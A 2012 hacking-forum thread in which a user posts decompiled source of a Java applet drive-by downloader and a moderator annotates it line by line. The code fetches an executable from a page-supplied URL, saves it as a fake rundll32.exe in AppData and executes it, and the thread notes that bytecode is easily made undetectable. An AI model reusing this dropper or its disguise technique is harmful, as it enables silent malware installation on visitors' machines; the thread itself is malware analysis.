Author Topic: Understanding how this java drive by works  (Read 6494 times)

0 Members and 1 Guest are viewing this topic.

Offline m0l0ko

  • Peasant
  • *
  • Posts: 129
  • Cookies: -4
    • View Profile
Understanding how this java drive by works
« on: December 21, 2012, 12:42:26 am »
I heard about java drive bys a while ago and was skeptical that they could possibly work but I tested one out and it actually worked. I pointed firefox to it on a Win7 sandbox and it asked me if I wanted to run the applet, I clicked yes and it launched an executable. Now I'm intrigued. I decompiled the .class and heres the code:

Code: [Select]
import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;

public class respect extends Applet
{
  public void start()
  {
    String str1 = System.getenv("appdata");
    String str2 = getParameter("buntime");
    String str3 = "\\rundll32.exe";

    String str4 = str1.concat(str3);
    BufferedInputStream localBufferedInputStream = null;
    try {
      localBufferedInputStream = new BufferedInputStream(new URL(str2).openStream());
    } catch (IOException localIOException1) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException1);
    }

    FileOutputStream localFileOutputStream = null;
    try {
      localFileOutputStream = new FileOutputStream(str4);
    } catch (FileNotFoundException localFileNotFoundException) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }

    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
        localBufferedOutputStream.write(arrayOfByte, 0, i);
    }
    catch (IOException localIOException2) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException2);
    }
    try {
      localBufferedOutputStream.close();
    } catch (IOException localIOException3) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException3);
    }
    try {
      localBufferedInputStream.close();
    } catch (IOException localIOException4) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException4);
    }
    try {
      Runtime.getRuntime().exec(str4);
    } catch (IOException localIOException5) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException5);
    }
  }

  public void main(String[] paramArrayOfString)
  {
    start();
  }
}

I'm not experienced with java but this looks pretty simple. The filename of the executable is stored in a HTML <param> tag named buntime, so
Code: [Select]
String str2 = getParameter("buntime");loads the filename of the .exe file into the str2 variable. I don't really know what all that bufferedinput stream stuff means but I'm guessing it loads the .exe file into the applets memory.

The first try/catch exception there, does that basically just try to load the external .exe file then log the error if it can't? The second try/catch code block has stuff about output streams, does that part of the code send the .exe file to the person visiting the site so that it is loaded into their computers memory?

The next part:
Code: [Select]
    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
        localBufferedOutputStream.write(arrayOfByte, 0, i);
    }
    catch (IOException localIOException2) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException2);
    }
is a complete mystery to me. No idea what they are looping through or what that .write part does. The next two parts just close the input and output streams, and the final part:
Code: [Select]
    try {
      Runtime.getRuntime().exec(str4);
    } catch (IOException localIOException5) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException5);
    }
I'm guessing is what actually runs the .exe file. The only language I'm really experienced with is PHP so theres a lot of new stuff here. I know that exec() executes applications but what does the getRuntime() part do? I'd greatly appreciate it some java programmers here could help me understand all this.
« Last Edit: December 21, 2012, 12:59:41 am by m0l0ko »

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: Understanding how this java drive by works
« Reply #1 on: December 21, 2012, 12:58:22 pm »
I added comments to explain the code.

Code: (Java) [Select]
import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;

public class respect extends Applet
{
  public void start()
  {
    //gets the application data folder,
    //i.e. C:\Documents and Settings\Administrator\Application Data   
    String str1 = System.getenv("appdata");

    String str2 = getParameter("buntime");
    String str3 = "\\rundll32.exe";

    //concatenates str1 and str3. resulting path is <appdata directory>\\rundll32.exe
    String str4 = str1.concat(str3);
   
    BufferedInputStream localBufferedInputStream = null;
    try {
      //tries to open the inputstream with url in buntime
      //i.e. fails if url doesn't exist
      localBufferedInputStream = new BufferedInputStream(new URL(str2).openStream());
    } catch (IOException localIOException1) {
      //logs the error message
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException1);
    }

    FileOutputStream localFileOutputStream = null;
    try {
      //prepares a stream to write to location str4
      localFileOutputStream = new FileOutputStream(str4);
    } catch (FileNotFoundException localFileNotFoundException) {
      //logs the error message
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }

    //wraps the fileoutputstream to a buffered stream
    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    //inits an array which will be the buffer
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      //writes the file it gets from the inputstream with the buffered outputstream
      //to location str4.
      for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
        localBufferedOutputStream.write(arrayOfByte, 0, i);
    }
    catch (IOException localIOException2) {
      //logs error message
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException2);
    }
    try {
      //closes the stream
      localBufferedOutputStream.close();
    } catch (IOException localIOException3) {
      //logs error message
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException3);
    }
    try {
      localBufferedInputStream.close();
    } catch (IOException localIOException4) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException4);
    }
    try {
      //executes the file that was written to str4 (=<appdata>\\runtimedll32.exe)
      Runtime.getRuntime().exec(str4);
    } catch (IOException localIOException5) {
      Logger.getLogger(respect.class.getName()).log(Level.SEVERE, null, localIOException5);
    }
  }

  public void main(String[] paramArrayOfString)
  {
    start();
  }
}

Quote
The first try/catch exception there, does that basically just try to load the external .exe file then log the error if it can't?
It doesn't load anything. The stream is just opened and if that fails (because file/url doesn't exist) the error message is logged.

Quote
The second try/catch code block has stuff about output streams, does that part of the code send the .exe file to the person visiting the site so that it is loaded into their computers memory?

It only opens the stream, but does nothing by then.

Quote
is a complete mystery to me. No idea what they are looping through or what that .write part does.

I roughly explained it in the comment, but here is the long explanation.

Code: (Java) [Select]
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
        localBufferedOutputStream.write(arrayOfByte, 0, i);

The long l is useless. You can write the same like this:

Code: (Java) [Select]
while ((i = localBufferedInputStream.read(arrayOfByte)) != -1)
        localBufferedOutputStream.write(arrayOfByte, 0, i);

What it does:

localBufferedInputStream reads the .exe and loads parts of it into the arrayOfByte. -1 is returned, when end of file is reached, so that is the condition for breaking the loop (stop reading, when there is nothing to read). Otherwise read() returns the length of the data that has been loaded into the buffer (arrayOfByte).

The contents of arrayOfByte are then written with the localBufferedOutputStream to <appdata>\\rundll32.exe

The write()-method is defined like that (look into the Java API):
Quote
write(byte[] b, int off, int len)
          Writes len bytes from the specified byte array starting at offset off to this buffered output stream.

Quote
I know that exec() executes applications but what does the getRuntime() part do?

From the Java API:

Quote
public static Runtime getRuntime()
Returns the runtime object associated with the current Java application.

You just need to get the runtime in order to call exec.
But it is better to use a ProcessBuilder instead today.
« Last Edit: December 22, 2012, 07:08:12 am by Deque »

Offline m0l0ko

  • Peasant
  • *
  • Posts: 129
  • Cookies: -4
    • View Profile
Re: Understanding how this java drive by works
« Reply #2 on: December 22, 2012, 06:51:18 am »
It only opens the stream, but does nothing by then.
I don't know what a stream is yet. I learned about buffering before and my idea was that it is loading part of the file into some active memory (a buffer). I hear people talking about streaming videos, like on youtube and I assumed thats a form of buffering too.

Whoa, brilliant explanations, I wasn't expecting that, thanks a lot. Haven't read the commented code yet but I learned a whole lot from your post. So arrayOfByte is the buffer. I'm guessing it loads the file into the array byte by byte, so I'm guessing each array element contains a single byte (can't help but wonder what would happen if you set >2 as the end loop condition, would it try to transfer more data than actually exists?).

I'm a linux user so I don't even know what runtimedll32.exe is, don't know what runtime is yet either but I'll google all that. Thanks a lot for the reply, I learned a lot. I've been playing around with editing this applet (a good learning exercise for me, I've wanted to get good at java for years) and I want to make it communicate with the rest of my site (i.e. the PHP and javascript), I imported netscape.javascript.JSObject which enables the applet to write cookies which is pretty cool. I then retrieve the cookies with PHP. Thats probably a real backwards and roundabout way to do it though so I'm gonna learn more elegant ways to make applets communicate with my PHP scripts.
« Last Edit: December 22, 2012, 06:52:09 am by m0l0ko »

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: Understanding how this java drive by works
« Reply #3 on: December 22, 2012, 07:23:01 am »
Here is an explanation I copied from http://www.howtogeek.com/howto/windows-vista/what-is-rundll32exe-and-why-is-it-running/

Quote
Since there’s no way to directly launch a DLL file, the rundll32.exe application is simply used to launch functionality stored in shared .dll files. This executable is a valid part of Windows, and normally shouldn’t be a threat.
Note: the valid process is normally located at \Windows\System32\rundll32.exe, but sometimes spyware uses the same filename and runs from a different directory in order to disguise itself.

And that's exactly what is happening. The rundll32.exe you are creating with this driveby is the malicious .exe. It just gets this name, so it is seen as harmless by the user.

Quote
So arrayOfByte is the buffer. I'm guessing it loads the file into the array byte by byte, so I'm guessing each array element contains a single byte

The purpose of the buffer is to load (and write) bigger chunks of data at a time and gain a better performance this way. Unless you reached end of file, it will fill the whole buffer, and that is 1024 bytes in this case.
Each array element contains a single byte, yes.


Quote
I've been playing around with editing this applet (a good learning exercise for me, I've wanted to get good at java for years) and I want to make it communicate with the rest of my site (i.e. the PHP and javascript), I imported netscape.javascript.JSObject which enables the applet to write cookies which is pretty cool. I then retrieve the cookies with PHP. Thats probably a real backwards and roundabout way to do it though so I'm gonna learn more elegant ways to make applets communicate with my PHP scripts.

Playing around is always good to learn stuff.
I don't know how much of it is, because it was decompiled, but the code of that applet is bad. The exception handling doesn't make sense at all, because it still tries to run the rest of the code, after an exception occured (although it can't work at this point which will result in more exceptions and obscure the real source for the bug).
« Last Edit: December 22, 2012, 07:23:47 am by Deque »

Offline m0l0ko

  • Peasant
  • *
  • Posts: 129
  • Cookies: -4
    • View Profile
Re: Understanding how this java drive by works
« Reply #4 on: December 22, 2012, 07:40:47 am »
Thanks again. This is a good applet for me to start learning java applets because I can see it enables me to do things far beyond the capabilities of the web programming languages I know so far (which are only server side and browser side scripting languages). To get my sites to interact with my comp, I usually use PHPs exec() function to run shell commands but I run into all kinds of problems there, java applets seem to be a much better way to get web pages to interact with computers.

I was thinking the exact same thing about the exceptions. Could it be a way to somewhat obscure the code in an attempt to throw off virus scanners?

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: Understanding how this java drive by works
« Reply #5 on: December 22, 2012, 07:44:00 am »
I was thinking the exact same thing about the exceptions. Could it be a way to somewhat obscure the code in an attempt to throw off virus scanners?

I think it is just silly coding.
It is not hard to make bytecode fud.